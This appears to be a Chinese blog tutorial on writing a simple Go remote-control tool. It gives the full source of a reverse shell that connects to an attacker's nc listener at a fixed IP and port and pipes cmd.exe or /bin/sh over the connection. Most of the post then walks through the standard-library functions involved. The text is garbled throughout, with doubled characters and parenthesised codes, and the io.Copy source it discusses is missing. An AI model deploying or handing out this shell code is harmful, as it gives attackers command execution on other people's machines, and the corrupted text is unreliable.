连接nc的远控
不免殺版本
原理:
創(chuàng)建tcp連接,讀取并執(zhí)行cmd命令,并且將執(zhí)行的結(jié)果通過目標(biāo)的IP和端口號(hào)返回給我們的遠(yuǎn)控機(jī)(例如kali)。
package mainimport ("io""log""net""os/exec" )func main() {conn, err := net.Dial("tcp", "192.168.0.138:1929")if err != nil {log.Fatalln(err)}for {cmd := exec.Command("cmd.exe")// cmd := exec.Command("/bin/sh", "-i")rp, wp := io.Pipe()cmd.Stdin = conncmd.Stdout = wpgo io.Copy(conn, rp)cmd.Run()} }雖然原理很簡單,但是沒有學(xué)習(xí)過go語言的小伙伴可能看不太懂這一段代碼,下面由我來做一下詳細(xì)解釋。
(1)
首先是net.Dial,它是來源于net包中的函數(shù),我們來看一下它的函數(shù)原型。
func Dial(network, address string) (Conn, error) {var d Dialerreturn d.Dial(network, address) }參數(shù)說明如下:
- network 參數(shù)表示傳入的網(wǎng)絡(luò)協(xié)議(比如 tcp、udp 等);
- address 參數(shù)表示傳入的 IP 地址或域名,而端口號(hào)是可選的,如果需要指定的話,以:的形式跟在地址或域名的后面即可。如果連接成功,該函數(shù)返回連接對象,否則返回 error。
實(shí)際上,Dial() 函數(shù)是對 DialTCP()、DialUDP()、DialIP()、DialUnix() 函數(shù)的封裝:
func DialTCP(net string, laddr, raddr *TCPAddr) (c *TCPConn, err error)
func DialUDP(net string, laddr, raddr *UDPAddr) (c *UDPConn, err error)
func DialIP(netProto string, laddr, raddr *IPAddr) (c *IPConn, err error)
func DialUnix(net string, laddr, raddr *UnixAddr) (c *UnixConn, err error)
我們來看一下幾種常見協(xié)議的調(diào)用方式。
1) TCP 連接
conn, err := net.Dial("tcp", "192.168.10.10:80")
2) UDP 連接:
conn, err := net.Dial("udp", "192.168.10.10:8888")
3) ICMP 連接(使用協(xié)議名稱):
conn, err := net.Dial("ip4:icmp", "c.biancheng.net")
提示:ip4 表示 IPv4,相應(yīng)的 ip6 表示 IPv6。
4) ICMP 連接(使用協(xié)議編號(hào)):
conn, err := net.Dial("ip4:1", "10.0.0.3")
Dial() 函數(shù)支持如下幾種網(wǎng)絡(luò)協(xié)議:tcp、tcp4(僅限 IPv4)、tcp6(僅限 IPv6)、udp、udp4(僅限 IPv4)、udp6(僅限 IPv6)、ip、ip4(僅限 IPv4)、ip6(僅限 IPv6)、unix、unixgram 和 unixpacket。
(2)
if err != nil {log.Fatalln(err)}這段代碼就是判斷我們的端口是否關(guān)閉或者已過濾,并進(jìn)行日志的輸出。這一段不是非常重要,不過感興趣的小伙伴可以自己去研究一下Fatalln這個(gè)函數(shù)。
(3)
我們來分析一下exec.Command函數(shù)
func Command(name string, arg ...string) *Cmd {cmd := &Cmd{Path: name,Args: append([]string{name}, arg...),}if filepath.Base(name) == name {if lp, err := LookPath(name); err != nil {cmd.lookPathErr = err} else {cmd.Path = lp}}return cmd }‘…’ 其實(shí)是go的一種語法糖。
它的第一個(gè)用法主要是用于函數(shù)有多個(gè)不定參數(shù)的情況,可以接受多個(gè)不確定數(shù)量的參數(shù)。
第二個(gè)用法是slice可以被打散進(jìn)行傳遞。
命令返回 Cmd 結(jié)構(gòu)以執(zhí)行具有給定參數(shù)的命名程序。
它僅在返回的結(jié)構(gòu)中設(shè)置 Path 和 Args。
如果 name 不包含路徑分隔符,Command 會(huì)盡可能使用 LookPath 將 name 解析為完整路徑。否則它直接使用名稱作為路徑。
返回的 Cmd 的 Args 字段由命令名稱后跟 arg 的元素構(gòu)成,因此 arg 不應(yīng)包含命令名稱本身。例如,命令("echo"、"hello")。 Args[0] 始終是名稱,而不是可能解析的路徑。
在 Windows 上,進(jìn)程將整個(gè)命令行作為單個(gè)字符串接收并進(jìn)行自己的解析。 Command 使用與使用CommandLineToArgvW 的應(yīng)用程序兼容的算法(這是最常見的方式)將 Args 組合表示到命令行字符串中。值得注意的例外是 msiexec.exe 和 cmd.exe(以及所有批處理文件),它們具有不同的取消引用算法。在這些或其他類似情況下,您可以自己進(jìn)行引用并在SysProcAttr CmdLine 中提供完整的命令行,將 Args 留空。
(4)
我們來分析一下io.Pipe函數(shù)
func Pipe() (*PipeReader, *PipeWriter) {p := &pipe{wrCh: make(chan []byte),rdCh: make(chan int),done: make(chan struct{}),}return &PipeReader{p}, &PipeWriter{p} } type pipe struct {wrMu sync.Mutex // Serializes Write operationswrCh chan []byterdCh chan intonce sync.Once // Protects closing donedone chan struct{}rerr onceErrorwerr onceError }io.Pipe會(huì)返回一個(gè)reader和writer,對reader讀取(或?qū)懭雡riter)后,進(jìn)程會(huì)被鎖住,直到writer有新數(shù)據(jù)流進(jìn)入或關(guān)閉(或reader把數(shù)據(jù)讀走)。
此外,函數(shù)返回的 PipeReader 和 PipeWriter 均有 Close 和 CloseWithError 方法,用于停止讀寫(done)。
- wrCh 寫入的數(shù)據(jù)
- rdCh 讀了多少了
- once 只close一次done
- done 結(jié)束標(biāo)志
- rerr 讀錯(cuò)
- werr 寫錯(cuò)
(5)
分析一下io.Copy的源碼
?
通過上述兩段代碼,它是將源復(fù)制到目標(biāo),并且是按默認(rèn)的緩沖區(qū)32k循環(huán)操作的,不會(huì)將內(nèi)容一次性全寫入內(nèi)存中,這樣就能解決大文件的問題。
Go語言Dial()函數(shù):建立網(wǎng)絡(luò)連接Go語言中 Dial() 函數(shù)的原型如下: func Dial(net, addr string) (Conn, error) 其中 net 參數(shù)是網(wǎng)絡(luò)協(xié)議的名字,addr 參數(shù)是 IP 地址或域名,而端口號(hào)以:的形式跟隨在地址或域名的后面,端口號(hào)可選。http://c.biancheng.net/view/4514.htmlGolang log.Fatalln函數(shù)代碼示例 - 純凈天空https://vimsky.com/examples/detail/golang-ex-log---Fatalln-function.html
總結(jié)
- 上一篇: 音视频参数解析
- 下一篇: DetectoRS: Detecting